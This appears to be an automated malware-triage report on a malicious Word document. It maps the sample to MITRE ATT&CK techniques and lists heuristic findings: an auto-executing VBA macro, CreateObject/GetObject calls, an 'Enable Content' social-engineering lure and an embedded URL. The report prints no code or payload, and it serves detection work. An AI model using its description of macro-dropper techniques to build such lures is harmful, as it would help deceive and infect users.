MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for malware delivery. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', indicating a social engineering lure to bypass security measures. The VBA script likely attempts to download and execute a second-stage payload, as suggested by the 'CreateObject' and 'GetObject' calls and the presence of obfuscated code.

Heuristics 9

  • ClamAV: Doc.Malware.Generic-7570500-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-7570500-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
